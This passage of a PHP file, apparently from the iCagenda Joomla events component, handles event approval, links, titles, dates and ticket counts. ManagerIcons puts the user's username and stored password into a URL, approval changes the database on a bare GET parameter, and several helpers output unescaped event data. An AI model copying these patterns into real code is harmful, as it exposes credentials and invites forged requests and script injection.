			$send = $approvedmailer->Send();
		}
	}

	protected function ManagerIcons ($i)
	{
		$app = JFactory::getApplication();

		// Get Current Itemid
		$this_itemid = JRequest::getInt('Itemid');

		// Get Current Url
		$returnURL = base64_encode(JURI::getInstance()->toString());

		$event_slug = empty($i->alias) ? $i->id : $i->id . ':' . $i->alias;

		// Set Manager Actions Url
		$managerActionsURL = 'index.php?option=com_icagenda&view=list&layout=event&id=' . $event_slug . '&Itemid=' . $this_itemid;

		// Set Email Notification Url to event
		$linkEmailUrl = JURI::base() . 'index.php?option=com_icagenda&view=list&layout=event&id=' . $event_slug . '&Itemid=' . $this_itemid;

		// Get Approval Status
		$approved = $i->approval;

		// Get User groups allowed to approve event submitted
		$groupid = JComponentHelper::getParams('com_icagenda')->get('approvalGroups', array("8"));

		$groupid = is_array($groupid) ? $groupid : array($groupid);

		// Get User Infos
		$user	= JFactory::getUser();

		$icid	= $user->get('id');
		$icu	= $user->get('username');
		$icp	= $user->get('password');

		// Get User groups of the user logged-in
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$userGroups = $user->getAuthorisedGroups();
		}
		else
		{
			$userGroups = $user->groups;
		}

		$baseURL = JURI::base();
		$subpathURL = JURI::base(true);

		$baseURL = str_replace('/administrator', '', $baseURL);
		$subpathURL = str_replace('/administrator', '', $subpathURL);

		$urlcheck = str_replace('&amp;','&', JRoute::_('administrator/index.php?option=com_icagenda&view=events').'&icu=' . $icu . '&icp=' . $icp . '&filter_search=' . $i->id);

		// Sub Path filtering
		$subpathURL = ltrim($subpathURL, '/');

		// URL Event Check filtering
		$urlcheck = ltrim($urlcheck, '/');

		if (substr($urlcheck, 0, strlen($subpathURL)+1) == "$subpathURL/")
		{
			$urlcheck = substr($urlcheck, strlen($subpathURL)+1);
		}

		$urlcheck = rtrim($baseURL, '/') . '/' . ltrim($urlcheck, '/');

		$icu_approve	= JRequest::getVar('manageraction', '');

		$jlayout		= JRequest::getCmd('layout', '');
		$layouts_array	= array('event', 'registration');
		$icu_layout		= in_array($jlayout, $layouts_array) ? $jlayout : '';
//		$icu_layout = JRequest::getVar('layout', '');

		if ( array_intersect($userGroups, $groupid)
			|| in_array('8', $userGroups) )
		{
			if ($approved == 1)
			{
				if (version_compare(JVERSION, '3.0', 'lt'))
				{
					$approvalButton = '<a class="iCtip" href="'.JRoute::_($managerActionsURL.'&manageraction=approve').'" title="'.JText::_( 'COM_ICAGENDA_APPROVE_AN_EVENT_LBL' ).'"><div class="iCicon-16 approval"></div></a>';
 				}
 				else
 				{
					$approvalButton = '<a class="iCtip" href="'.JRoute::_($managerActionsURL.'&manageraction=approve').'" title="'.JText::_( 'COM_ICAGENDA_APPROVE_AN_EVENT_LBL' ).'"><button type="button" class="btn btn-micro btn-warning btn-xs"><i class="icon-checkmark"></i></button></a>';
				}

				if ( ($icu_layout == 'event')
					&& ($icu_approve == 'approve') )
				{
        			$db		= Jfactory::getDbo();
					$query	= $db->getQuery(true);
        			$query->clear();
					$query->update(' #__icagenda_events ');
					$query->set(' approval = 0 ' );
					$query->where(' id = ' . (int) $i->id );
					$db->setQuery((string)$query);
					$db->query($query);
					$approveSuccess = '"'.$i->title.'"';
					$alertmsg = JText::sprintf('COM_ICAGENDA_APPROVED_SUCCESS', $approveSuccess);
					$alerttitle = JText::_( 'COM_ICAGENDA_APPROVED' );
					$alerttype = 'success';
					$approvedLink = JRoute::_($managerActionsURL);

					self::ApprovedNotification($i->created_by_email, $i->username, $i->title, $linkEmailUrl);
					$app->enqueueMessage($alertmsg, $alerttitle, $alerttype);
				}
				else
				{
					return $approvalButton;
				}
			}
			else
			{
				return false;
			}
		}
		else
		{
			return false;
		}
	}

	// Function Email Cloaking
	protected function emailLink ($i)
	{
		if ($i->email != NULL)
		{
			return JHtml::_('email.cloak', $i->email);
		}
	}

	// Image URL
	protected function image ($i)
	{
		$ic_image = JURI::base() . $i->image;

		if ($i->image)
		{
			return $ic_image;
		}

		return false;
	}


	// Get Items
	protected function items($atr)
	{
		// Initialize controls
		$access = '0';
		$control = '';

		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('a.title, a.published, a.id')
			->from('`#__menu` AS a')
			->where( "(link = 'index.php?option=com_icagenda&view=list') AND (published > 0)" );
		$db->setQuery($query);
		$link = $db->loadObjectList();
		$itemid = JRequest::getVar('Itemid');

		$parentnav = $itemid;

		foreach ($link as $l)
		{
			if (($l->published == '1') AND ($l->id == $parentnav))
			{
				$linkexist = '1';
			}
		}

		if (is_numeric($parentnav) && !is_array($parentnav) && !$parentnav == 0 && $linkexist == 1)
		{
			$atr	= $atr['item'];
			$items	= $this->items;
			$itDef	= new stdClass;

			if ($this->items == NULL)
			{
				return NULL;
			}
			else
			{
				foreach($items as $i)
				{
					// Language Control
					$lang = JFactory::getLanguage();
					$eventLang = '';
					$langTag = '';
					$langTag = $lang->getTag();

					if (isset($i->language))
					{
						$eventLang = $i->language;
					}
					if ($eventLang == '' || $eventLang == '*')
					{
						$eventLang = $langTag;
					}

					if ($i->next != '0000-00-00 00:00:00')
					{
						$it	= new stdClass;
						$id	= $i->id;

						foreach($atr as $k => $v)
						{
							// Corrige Notice : Undefined property: stdClass::
							if (!empty($i->$k))
							{
								// functions
								$it->$k = $i->$k;
							}
							else
							{
								// data
								if (method_exists($this, $k))
								{
									$it->$k = $this->$k($i);
								}
							}
						}
						$itDef->$id = $it;
					}
				}
			}

			return $itDef;
		}
		else
		{
			JError::raiseError('404', JTEXT::_('JERROR_LAYOUT_PAGE_NOT_FOUND'));

			return false;
		}
	}


	// Set event Url
	protected function url ($i)
	{
		$menuID			= $this->options['Itemid'];
		$eventnumber	= $i->id;
		$event_slug		= empty($i->alias) ? $i->id : $i->id . ':' . $i->alias;

		$url			= JRoute::_('index.php?option=com_icagenda&view=list&layout=event&id=' . $event_slug . '&Itemid=' . (int)$menuID);

		if (is_numeric($menuID) && is_numeric($eventnumber)
			&& !is_array($menuID) && !is_array($eventnumber)
			)
		{
			return $url;
		}
		else
		{
			$url = JRoute::_('index.php');

			return $url;
		}
	}

	// Get event Url for Add To Cal
	protected function Event_Link($i)
	{
		$lien			= $this->options['Itemid'];
		$eventnumber	= $i->id;
		$event_slug		= empty($i->alias) ? $i->id : $i->id . ':' . $i->alias;
		$date			= $i->next;

		// Get the "event" URL
		$baseURL	= JURI::base();
		$subpathURL	= JURI::base(true);

		$baseURL	= str_replace('/administrator', '', $baseURL);
		$subpathURL	= str_replace('/administrator', '', $subpathURL);

		$urlevent	= str_replace('&amp;','&', JRoute::_('index.php?option=com_icagenda&view=list&layout=event&Itemid=' . (int)$lien . '&id=' . $event_slug));

		// Sub Path filtering
		$subpathURL	= ltrim($subpathURL, '/');

		// URL Event Details filtering
		$urlevent	= ltrim($urlevent, '/');

		if (substr($urlevent, 0, strlen($subpathURL)+1) == "$subpathURL/")
		{
			$urlevent = substr($urlevent, strlen($subpathURL)+1);
		}

		$urlevent	= rtrim($baseURL,'/').'/'.ltrim($urlevent,'/');

		$url		= $urlevent;

		if (is_numeric($lien) && is_numeric($eventnumber)
			&& !is_array($lien) && !is_array($eventnumber)
			)
		{
			return $url;
		}
		else
		{
			$url = JRoute::_('index.php');

			return JURI::base().$url;
		}

	}

	// Title with link to details
	//
	// DEPRECATED
	protected function titleLink($i)
	{
		return '<a href="' . $this->url($i) . '">' . $i->title . '</a>';
	}

	// Title + Manager Icons
	protected function titlebar($i)
	{
		$this_itemid		= JRequest::getInt('Itemid');
		$list_title_length	= JComponentHelper::getParams('com_icagenda')->get('list_title_length', '');

		$i_title			= $this->titleFormat($i);

		$jlayout			= JRequest::getCmd('layout', '');
		$layouts_array		= array('event', 'registration');
		$layout				= in_array($jlayout, $layouts_array) ? $jlayout : '';

		$mbString			= extension_loaded('mbstring');

		$title_length		= $mbString ? mb_strlen($i_title, 'UTF-8') : strlen($i_title);

		if (empty($layout)
			&& ! empty($list_title_length))
		{
			$title	= $mbString
					? trim(mb_substr($i_title, 0, $list_title_length, 'UTF-8'))
					: trim(substr($i_title, 0, $list_title_length));

			$new_title_length = $mbString ? mb_strlen($title, 'UTF-8') : strlen($title);

			if ($new_title_length < $title_length)
			{
				$title.= '...';
			}
		}
		else
		{
			$title = $i_title;
		}

		$approval = $i->approval;

		$event_slug = empty($i->alias) ? $i->id : $i->id . ':' . $i->alias;

		// Set Manager Actions Url
		$managerActionsURL	= 'index.php?option=com_icagenda&view=list&layout=event&id=' . $event_slug . '&Itemid=' . $this_itemid;

		$unapproved			= '<a class="iCtip" href="' . JRoute::_($managerActionsURL) . '" title="'.JText::_( 'COM_ICAGENDA_APPROVE_AN_EVENT_LBL' ).'"><small><span class="iCicon-open-details"></span></small></a>';

		if ($title != NULL && $approval == 1)
		{
			return $title . ' ' . $unapproved;
		}
		elseif ($title != NULL && $approval != 1)
		{
			return $title;
		}

		return NULL;
	}

	// Title
	protected function titleFormat($i)
	{
		$text_transform	= JComponentHelper::getParams('com_icagenda')->get('titleTransform', '');
		$mbString		= extension_loaded('mbstring');

		if ($text_transform == 1)
		{
			$titleFormat = $mbString ? iCString::mb_ucfirst(mb_strtolower($i->title)) : ucfirst(strtolower($i->title));

			return $titleFormat;
		}
		elseif ($text_transform == 2)
		{
			$titleFormat = $mbString ? mb_convert_case($i->title, MB_CASE_TITLE, "UTF-8") : ucwords(strtolower($i->title));

			return $titleFormat;
		}
		elseif ($text_transform == 3)
		{
			$titleFormat = $mbString ? mb_strtoupper($i->title, "UTF-8") : strtoupper($i->title);

			return $titleFormat;
		}
		elseif ($text_transform == 4)
		{
			$titleFormat = $mbString ? mb_strtolower($i->title, "UTF-8") : strtolower($i->title);

			return $titleFormat;
		}

		return $i->title;
	}

	// Title
	protected function title($i)
	{
		return $i->title;
	}

	// Short Description
	public function shortdesc($i)
	{
		$shortdesc = $i->shortdesc ? $i->shortdesc : NULL;

		return $shortdesc;
	}

	// Description
	public function desc($i)
	{
		$desc = $i->desc ? $i->desc : NULL;

		return $desc;
	}

	// Short Description (content prepare)
	protected function shortDescription($i)
	{
		$text				= JHtml::_('content.prepare', $i->shortdesc);
		$shortDescription	= $i->shortdesc ? $text : NULL;

		return $shortDescription;
	}

	// Full Description (content prepare)
	protected function description($i)
	{
		$text			= JHtml::_('content.prepare', $i->desc);
		$description	= $i->desc ? $text : NULL;

		return $description;
	}

	// Auto Short Description (Full Description > Short)
	protected function descShort($i)
	{
		$descShort = icagendaEvents::shortDescription($i->desc);

		return $descShort;
	}


	// Image TAG
	protected function imageTag($i)
	{
		if (!$i->image == NULL)
		{
			return '<img src="' . $i->image . '" alt="" />';
		}
	}


	// File TAG
	protected function fileTag($i)
	{
		return '<a class="icDownload" href="' . $i->file . '" target="_blank">' . JText::_( 'COM_ICAGENDA_EVENT_DOWNLOAD' ) . '</a>';
	}


	// Website TAG
	protected function websiteLink($i)
	{
		$gettarget	= JComponentHelper::getParams('com_icagenda')->get('targetLink', '');
		$target		= !empty($gettarget) ? '_blank' : '_parent';

		$link		= iCUrl::urlParsed($i->website, 'scheme');

		return '<a href="' . $link . '" target="' . $target . '">' . $i->website . '</a>';
	}


	/**
	 * TIME
	 */

	// Format Time (eg. 00:00)
	protected function evenTime($i)
	{
		if ($this->displaytime($i) == 1)
		{
			return icagendaEvents::dateToTimeFormat($i->next);
		}
		else
		{
			return NULL;
		}
	}


	/**
	 * DAY
	 */

	// Day
	protected function day ($i)
	{
		$eventTimeZone	= null;
		$day_date		= JHtml::date($i->next, 'd', $eventTimeZone);

		return $day_date;
	}

	// Day of the week, Full - From Joomla language file xx-XX.ini (eg. Saturday)
	protected function weekday ($i)
	{
		$eventTimeZone	= null;
		$full_weekday	= JHtml::date($i->next, 'l', $eventTimeZone);
		$weekday		= JText::_($full_weekday);

		return $weekday;
	}

	// Day of the week, Short - From Joomla language file xx-XX.ini (eg. Sat)
	protected function weekdayShort ($i)
	{
		$eventTimeZone	= null;
		$short_weekday	= JHtml::date($i->next, 'D', $eventTimeZone);
		$weekdayShort	= JText::_($short_weekday);

		return $weekdayShort;
	}


	/**
	 * MONTHS
	 */

	// Function used for special characters
	function substr_unicode($str, $s, $l = null)
	{
    	return join("", array_slice(
		preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY), $s, $l));
	}

	// Format Month (eg. December)
	protected function month ($i)
	{
		$eventTimeZone	= null;
		$full_month		= JHtml::date($i->next, 'F', $eventTimeZone);
		$lang_month		= JText::_($full_month);

		return $lang_month;
	}


	// Format Month Numeric - (eg. 07)
	protected function monthNum ($i)
	{
		$eventTimeZone	= null;
		$monthNum		= JHtml::date($i->next, 'm', $eventTimeZone);

		return $monthNum;
	}


	/**
	 * YEAR
	 */

	// Format Year Numeric - (eg. 2013)
	protected function year ($i)
	{
		$eventTimeZone	= null;
		$year			= JHtml::date($i->next, 'Y', $eventTimeZone);

		return $year;
	}

	// Format Year Short Numeric - (eg. 13)
	protected function yearShort ($i)
	{
		$eventTimeZone	= null;
		$yearShort		= JHtml::date($i->next, 'y', $eventTimeZone);

		return $yearShort;
	}


	////////////
	// DATES
	////////////

	/**
	 * Next Date Text
	 *
	 * @version 3.5.6
	 */
	protected function dateText($i)
	{
		$eventTimeZone		= null;

		$dates				= iCString::isSerialized($i->dates) ? unserialize($i->dates) : array(); // returns array
		$period				= iCString::isSerialized($i->period) ? unserialize($i->period) : array(); // returns array
		$weekdays			= $i->weekdays;

		$site_today_date	= JHtml::date('now', 'Y-m-d');
		$UTC_today_date		= JHtml::date('now', 'Y-m-d', $eventTimeZone);

		$alldates_array 	= array_merge($dates, $period);
 		$alldates			= array_filter($alldates_array, function($var) {return $var == iCDate::isDate($var);});

		$next_date			= date('Y-m-d', strtotime($i->next));
		$next_datetime		= date('Y-m-d H:i', strtotime($i->next));

		$next_is_in_period	= in_array($next_datetime, $period) ? true : false;

		$totDates			= count($alldates);

		if ($totDates > 1
			&& $next_date > $site_today_date)
		{
			rsort($alldates);

			$last_date = JHtml::date($alldates[0], 'Y-m-d', $eventTimeZone);

			if ( ! $next_is_in_period
				&& $last_date == $next_date)
			{
				$dateText = JText::_( 'COM_ICAGENDA_EVENT_DATE_LAST' );
			}
			elseif ( ! $next_is_in_period)
			{
				$dateText = JText::_( 'COM_ICAGENDA_EVENT_DATE_FUTUR' );
			}
			elseif ($next_is_in_period
				&& $weekdays == NULL)
			{
				$dateText = JText::_( 'COM_ICAGENDA_LEGEND_DATES' );
			}
			else
			{
				$dateText = JText::_( 'COM_ICAGENDA_EVENT_DATE' );
			}
		}
		elseif ($totDates > 1
			&& $next_date < $site_today_date)
		{
			if ($totDates == 2)
			{
				$dateText	= $next_is_in_period
							? JText::_( 'COM_ICAGENDA_EVENT_DATE' )
							: JText::_( 'COM_ICAGENDA_EVENT_DATE_PAST' );
			}
			else
			{
				$dateText	= ($next_is_in_period && $weekdays == NULL)
							? JText::_( 'COM_ICAGENDA_LEGEND_DATES' )
							: JText::_( 'COM_ICAGENDA_EVENT_DATE_PAST' );
			}
		}
		elseif ($next_date == $site_today_date)
		{
			$dateText = $next_is_in_period ? JText::_( 'COM_ICAGENDA_EVENT_DATE_PERIOD_NOW' ) : JText::_( 'COM_ICAGENDA_EVENT_DATE_TODAY' );
		}
		else
		{
			$dateText = JText::_( 'COM_ICAGENDA_EVENT_DATE' );
		}

		return $dateText;
	}

	/**
	 * Get Next Date (or Last Date)
	 *
	 * @version 3.4.0-rc
	 */
	protected function nextDate($i)
	{
		$eventTimeZone = null;

		$period			= unserialize($i->period); // returns array
		$startdatetime	= $i->startdate;
		$enddatetime	= $i->enddate;
		$weekdays		= $i->weekdays;

		$site_today_date	= JHtml::date('now', 'Y-m-d');
		$UTC_today_date		= JHtml::date('now', 'Y-m-d', $eventTimeZone);

		$next_date			= JHtml::date($i->next, 'Y-m-d', $eventTimeZone);
		$next_datetime		= JHtml::date($i->next, 'Y-m-d H:i', $eventTimeZone);

		$start_date			= JHtml::date($i->startdate, 'Y-m-d', $eventTimeZone);
		$end_date			= JHtml::date($i->enddate, 'Y-m-d', $eventTimeZone);

		// Check if date from a period with weekdays has end time of the period set in next.
//		$time_next_datetime	= JHtml::date($next_datetime, 'H:i', $eventTimeZone);
		$time_next_datetime	= date('H:i', strtotime($next_datetime));
		$time_startdate		= JHtml::date($i->startdate, 'H:i', $eventTimeZone);
		$time_enddate		= JHtml::date($i->enddate, 'H:i', $eventTimeZone);

		if ($next_date == $site_today_date
			&& $time_next_datetime == $time_enddate)
		{
			$next_datetime = $next_date . ' ' . $time_startdate;
		}

		if ($period != NULL && in_array($next_datetime, $period))
		{
			$next_is_in_period = true;
		}
		else
		{
			$next_is_in_period = false;
		}

		// Highlight event in progress
		if ($next_date == $site_today_date)
		{
			$start_span	= '<span class="ic-next-today">';
			$end_span	= '</span>';
		}
		else
		{
			$start_span = $end_span = '';
		}

		$separator = '<span class="ic-datetime-separator"> - </span>';

		// Format Next Date
		if ( $next_is_in_period
			&& ($start_date == $end_date || $weekdays != null) )
		{
			// Next in the period & (same start/end date OR one or more weekday selected)
			$nextDate = $start_span;
			$nextDate.= '<span class="ic-period-startdate">';
			$nextDate.= $this->formatDate($i->next);
			$nextDate.= '</span>';

			if ($this->displaytime($i) == 1)
			{
				$nextDate.= ' <span class="ic-single-starttime">' . $this->startTime($i) . '</span>';

				if ($this->startTime($i) != $this->endTime($i))
				{
					$nextDate.= $separator . '<span class="ic-single-endtime">' . $this->endTime($i) . '</span>';
				}
			}

			$nextDate.= $end_span;
		}
		elseif ( $next_is_in_period
			&& ($weekdays == null) )
		{
			// Next in the period & different start/end date & no weekday selected
			$start	= '<span class="ic-period-startdate">';
			$start	.= $this->startDate($i);
			$start	.= '</span>';

			$end	= '<span class="ic-period-enddate">';
			$end	.= $this->endDate($i);
			$end	.= '</span>';

			if ($this->displaytime($i) == 1)
			{
				$start		.= ' <span class="ic-period-starttime">' . $this->startTime($i) . '</span>';
				$end		.= ' <span class="ic-period-endtime">' . $this->endTime($i) . '</span>';
			}

			$nextDate = $start_span . $start . $separator . $end . $end_span;
		}
		else
		{
			// Next is a single date
			$nextDate = $start_span;
			$nextDate.= '<span class="ic-single-next">';
			$nextDate.= $this->formatDate($i->next);
			$nextDate.= '</span>';

			if ($this->displaytime($i) == 1)
			{
				$nextDate.= ' <span class="ic-single-starttime">' . $this->evenTime($i) . '</span>';
			}

			$nextDate.= $end_span;
		}

		return $nextDate;
	}


	// Control Upcoming dates Period
	protected function periodControl ($i)
	{
		$eventTimeZone		= null;
		$date_today			= JHtml::date('now', 'Y-m-d');
		$datetime_enddate	= JHtml::date($i->enddate, 'Y-m-d H:i', $eventTimeZone);
		$upPeriod			= '1';

		if (strtotime($datetime_enddate) > strtotime($date_today))
		{
			return $upPeriod;
		}
	}


	public static function getNbTicketsBooked($date, $event_registered, $event_id = null, $date_control = null)
	{
		$eventTimeZone		= null;
		$event_registered	= is_array($event_registered) ? $event_registered : array();
		$nb_registrations	= 0;

		// Get Date if set in url as var
		$get_date = JRequest::getVar('date', null);

		if ( ! $get_date && $date_control)
		{
			$get_date = null;
		}

		foreach ($event_registered AS $reg)
		{
			$ex_reg = explode('@@', $reg); // eventid@@date@@people

			if ( ! $date || $date == 'period')
			{
				$nb_registrations = $nb_registrations + $ex_reg[2];
			}
			elseif ($get_date
				&& $event_id == $ex_reg[0]
				&& date('Y-m-d H:i', strtotime($date)) == date('Y-m-d H:i', strtotime($ex_reg[1]))
				)
			{
				$nb_registrations = $nb_registrations + $ex_reg[2];
			}
			elseif ( ! $get_date
				&& $event_id == $ex_reg[0]
				&& $ex_reg[1] == 'period'
				)
			{
				$nb_registrations = $nb_registrations + $ex_reg[2];
			}
			elseif ( ! $get_date
				&& $event_id == $ex_reg[0]
				&& date('Y-m-d H:i', strtotime($date)) == date('Y-m-d H:i', strtotime($ex_reg[1]))
				)
			{
				$nb_registrations = $nb_registrations + $ex_reg[2];
			}
		}

		return $nb_registrations;
	}


	// Ticket(s) booked
	protected function totalRegistered($i)
	{
		$eventTimeZone		= null;
		$date_today			= JHtml::date('now', 'Y-m-d');
		$allDates			= $this->eventAllDates($i);
		$typeReg			= $this->evtParams($i)->get('typeReg', '');
		$perioddates		= iCDatePeriod::listDates($i->startdate, $i->enddate, $eventTimeZone);

		// Check the period if individual dates
		$only_startdate		= ($i->weekdays || $i->weekdays == '0') ? false : true;

		sort($allDates);

		$total_tickets_booked = 0;

		// Get Date if set in url as var
		$get_date = JRequest::getVar('date', null);

		if ($get_date)
		{
			$ex = explode('-', $get_date);

			if (count($ex) == 5)
			{
				$dateday = $ex['0'] . '-' . $ex['1'] . '-' . $ex['2'] . ' ' . $ex['3'] . ':' . $ex['4'];
			}
			else
			{
				$dateday = '';
			}
		}
		else
		{
			$dateday = '';
		}

		$this_date	= ! empty($dateday) ? JHtml::date($dateday, 'Y-m-d H:i:s', $eventTimeZone) : null;

		// By Single Dates (registration type is not for all dates of the events)
		if ($typeReg != 2)
		{
			foreach ($allDates as $k => $d)
			{
				$date_control	= JHtml::date($d, 'Y-m-d H:i', $eventTimeZone);

				if ($only_startdate && in_array($date_control, $perioddates))
				{
					$is_full_period = true;
				}
				else
				{
					$is_full_period = false;
				}

				$datetime_date	= date('Y-m-d H:i:s', strtotime($d));
				$nb_tickets		= self::getNbTicketsBooked($datetime_date, $i->registered, $i->id, $is_full_period);

				// NO Date in URL - FULL PERIOD (no weekdays) - Date IS in the PERIOD
				if ( ! $get_date && $only_startdate && in_array($date_control, $perioddates))
				{
					$total_tickets_booked		= $nb_tickets;
				}

				// Date in URL - FULL PERIOD (no weekdays) - Date IS NOT in the PERIOD
				elseif ($get_date && $only_startdate && ! in_array($date_control, $perioddates))
				{
					if ($nb_tickets > 0
						&& strtotime($this_date) == strtotime($datetime_date))
					{
						$total_tickets_booked	= $total_tickets_booked + $nb_tickets;
					}

					// Only one date for registration, and the setting option of event is set to list of dates (equals "for all dates of event)
					elseif (count($allDates) == 1)
					{
						$nb_tickets				= self::getNbTicketsBooked(null, $i->registered, $i->id, $is_full_period);
						$total_tickets_booked	= $total_tickets_booked + $nb_tickets;
					}
				}

				// Date in URL - PERIOD is Individual DATES (weekdays selected)
				elseif ($get_date && ! $only_startdate)
				{
					if ($nb_tickets > 0
						&& strtotime($this_date) == strtotime($datetime_date))
					{
						$total_tickets_booked	= $total_tickets_booked + $nb_tickets;
					}
				}

				// NO Date in URL (all tickets for the events, not taking into account the dates)
				elseif (! $get_date)
				{
					if ($nb_tickets > 0)
					{
						$total_tickets_booked	= self::getNbTicketsBooked(null, $i->registered, $i->id, $is_full_period);
					}
				}
			}
		}
		else
		{
			$nb_tickets = self::getNbTicketsBooked('period', $i->registered, $i->id);
			$total_tickets_booked = $nb_tickets;
		}

		return $total_tickets_booked;
	}

	// Ticket(s) could be booked
	protected function ticketsCouldBeBooked($i)
	{
		$eventTimeZone		= null;
		$date_today			= JHtml::date('now', 'Y-m-d');
		$datetime_today		= JHtml::date('now', 'Y-m-d H:i');
		$allDates			= $this->eventAllDates($i);
		$max_tickets		= $this->evtParams($i)->get('maxReg', '1000000');
		$typeReg			= $this->evtParams($i)->get('typeReg', '1');
		$perioddates		= iCDatePeriod::listDates($i->startdate, $i->enddate, $eventTimeZone);
		$regUntilEnd		= JComponentHelper::getParams('com_icagenda')->get('reg_end_period', 0);

		// Check the period if individual dates
		$only_startdate		= ($i->weekdays || $i->weekdays == '0') ? false : true;

		sort($allDates);

		if ($typeReg ==  '2')
		{
			foreach ($allDates as $k => $d)
			{
				if (strtotime($d) < strtotime($datetime_today))
				{
					return false;
				}
			}
		}

		$total_tickets_bookable = 0;

		foreach ($allDates as $k => $d)
		{
			$date_control	= JHtml::date($d, 'Y-m-d H:i', $eventTimeZone);
			$is_in_period	= in_array($date_control, $perioddates) ? true : false;

			if ($only_startdate && $is_in_period)
			{
				$is_full_period = true;
			}
			else
			{
				$is_full_period = false;
			}

			$datetime_date		= date('Y-m-d H:i:s', strtotime($d));
			$datetime_startdate	= date('Y-m-d H:i:s', strtotime($i->startdate));
			$datetime_enddate	= date('Y-m-d H:i:s', strtotime($i->enddate));

			$nb_tickets_left	= $max_tickets - self::getNbTicketsBooked($datetime_date, $i->registered, $i->id, $is_full_period);

			// Full period & registration for all dates of the event
			if ($is_full_period
				&& $typeReg == 2
				&& $regUntilEnd == 0
				&& (strtotime($datetime_startdate) < strtotime($date_today))
				)
			{
				$total_tickets_bookable = 0;
			}
			elseif ($is_full_period
				&& $regUntilEnd == 1
				&& (strtotime($datetime_enddate) <= strtotime($datetime_today))
				)
			{
				$total_tickets_bookable = 0;
			}
			elseif (strtotime($d) > strtotime($date_today))
			{
				if ($nb_tickets_left > 0)
				{
					$total_tickets_bookable = $total_tickets_bookable + $nb_tickets_left;
				}
			}
		}

		if ($total_tickets_bookable > 0)
		{
			return true;
		}

		return false;
	}


	// Dates Drop list Registration
	protected function datelistMkt($i)
	{
		$eventTimeZone		= null;
		$date_today			= JHtml::date('now', 'Y-m-d');
		$date_time_today	= JHtml::date('now', 'Y-m-d H:i');
		$allDates			= $this->eventAllDates($i);
		$timeformat			= $this->options['timeformat'];
		$max_tickets		= $this->evtParams($i)->get('maxReg', '1000000');
		$perioddates		= iCDatePeriod::listDates($i->startdate, $i->enddate, $eventTimeZone);
		$regUntilEnd		= JComponentHelper::getParams('com_icagenda')->get('reg_end_period', 0);

		// Check the period if individual dates
		$only_startdate		= ($i->weekdays || $i->weekdays == '0') ? false : true;

		$lang_time = ($timeformat == 1) ? 'H:i' : 'h:i A';

		sort($allDates);

		$p = 0;

		foreach ($allDates as $k => $d)
		{
			$date_control = JHtml::date($d, 'Y-m-d H:i', $eventTimeZone);

			if ($only_startdate && in_array($date_control, $perioddates))
			{
				$is_full_period = true;
				$datetime_date	= ($regUntilEnd == 1)
								? date('Y-m-d H:i:s', strtotime($i->enddate))
								: date('Y-m-d H:i:s', strtotime($i->startdate));
			}
			else
			{
				$is_full_period = false;
				$datetime_date	= date('Y-m-d H:i:s', strtotime($d));
			}

			$nb_tickets_left	= $max_tickets - self::getNbTicketsBooked($datetime_date, $i->registered, $i->id, $is_full_period);

			$date_today_compare	= ($this->displaytime($i) == 1) ? $date_time_today : $date_today;

			if (strtotime($datetime_date) > strtotime($date_today_compare)
				&& $nb_tickets_left > 0)
			{
				$tickets_left = ($max_tickets != '1000000') ? ' (&#10003;' . $nb_tickets_left . ')' : '';

				if ($is_full_period)
				{
					if ($p == 0)
					{
						$upDays[$k] = '@@' . $this->formatDate($i->startdate) . ' &#x279c; ' . $this->formatDate($i->enddate) . $tickets_left;
						$p = $p+1;
					}
				}
				else
				{
					$date = $this->formatDate($d);

					$event_time = ($this->displaytime($i) == 1) ? ' - '.date($lang_time, strtotime($datetime_date)) : '';

					$upDays[$k] = $datetime_date . '@@' . $date . $event_time . $tickets_left;
				}
			}
		}

		if (isset($upDays))
		{
			return $upDays;
		}
	}

	// Function return true if upcoming dates for Booking
	protected function upcomingDatesBooking($i)
	{
		if (count($this->datelistMkt($i)) > 0)
		{
			return true;
		}

		return false;
	}

	// All Single Dates in Event Details Page
	protected function datelistUl ($i)
	{
		$iCparams		= JComponentHelper::getParams('com_icagenda');
		$timeformat		= $this->options['timeformat'];

		// Hide/Show Option
		$SingleDates			= $iCparams->get('SingleDates', 1);

		// Access Levels Option
//		$accessSingleDates		= $iCparams->get('accessSingleDates', 1);

		// Order by Dates
		$SingleDatesOrder		= $iCparams->get('SingleDatesOrder', 1);

		// List Model
		$SingleDatesListModel	= $iCparams->get('SingleDatesListModel', 1);

		if ($SingleDates == 1)
		{
//			if ($this->accessLevels($accessSingleDates))
//			{
//				$days = unserialize($i->dates);
				$days = iCString::isSerialized($i->dates) ? unserialize($i->dates) : array(); // returns array

				if ($SingleDatesOrder == 1)
				{
					rsort($days);
				}
				elseif ($SingleDatesOrder == 2)
				{
					sort($days);
				}

				$totDates = count($days);

				if ($timeformat == 1)
				{
					$lang_time = 'H:i';
				}
				else
				{
					$lang_time = 'h:i A';
				}

				// Detect if Singles Dates, and no single date with null value
				$displayDates = false;
				$nbDays = count($days);

				foreach ($days as $k => $d)
				{
					if ($d != '0000-00-00 00:00' && $d != '0000-00-00 00:00:00'
						&& $nbDays != 0)
					{
						$displayDates = true;
					}
				}

				$daysUl = '';

				if ($displayDates)
				{
					if ($SingleDatesListModel == '2')
					{
						$n = 0;
						$daysUl.= '<div class="alldates"><i>'. JText::_( 'COM_ICAGENDA_LEGEND_DATES' ).': </i>';

						foreach ($days as $k => $d)
						{
							$n	= $n+1;
							$fd	= $this->formatDate($d);

							$timeDate	= ($this->displaytime($i) == 1)
										? ' <span class="evttime">'.date($lang_time, strtotime($d)).'</span>'
										: '';

							if ($n <= ($totDates-1))
							{
								$daysUl.= '<span class="alldates">'.$fd.$timeDate.'</span> - ';
							}
							elseif ($n == $totDates)
							{
	   							$daysUl.= '<span class="alldates">'.$fd.$timeDate.'</span>';
							}
						}

						$daysUl.= '</div>';
					}
					else
					{
						$daysUl.= '<ul class="alldates">';

						foreach ($days as $k => $d)
						{
							$fd	= $this->formatDate($d);

							$timeDate	= ($this->displaytime($i) == 1)
										? ' <span class="evttime">'.date($lang_time, strtotime($d)).'</span>'
										: '';

							$daysUl.= '<li class="alldates">'.$fd.$timeDate.'</li>';
						}

						$daysUl.= '</ul>';
					}
				}

				if ($totDates > '0')
				{
					return $daysUl;
				}
				else
				{
					return false;
				}
//			}
//			else
//			{
//				return false;
//			}
		}
		else
		{
			return false;
		}
	}

	// Function Period Display in Registration
	protected function periodDisplay($i)
	{
		if ($this->eventHasPeriod($i))
		{
			if (iCDate::isDate($i->startdate) || iCDate::isDate($i->enddate))
			{
				$show = '1';

				return $show;
			}
		}
	}
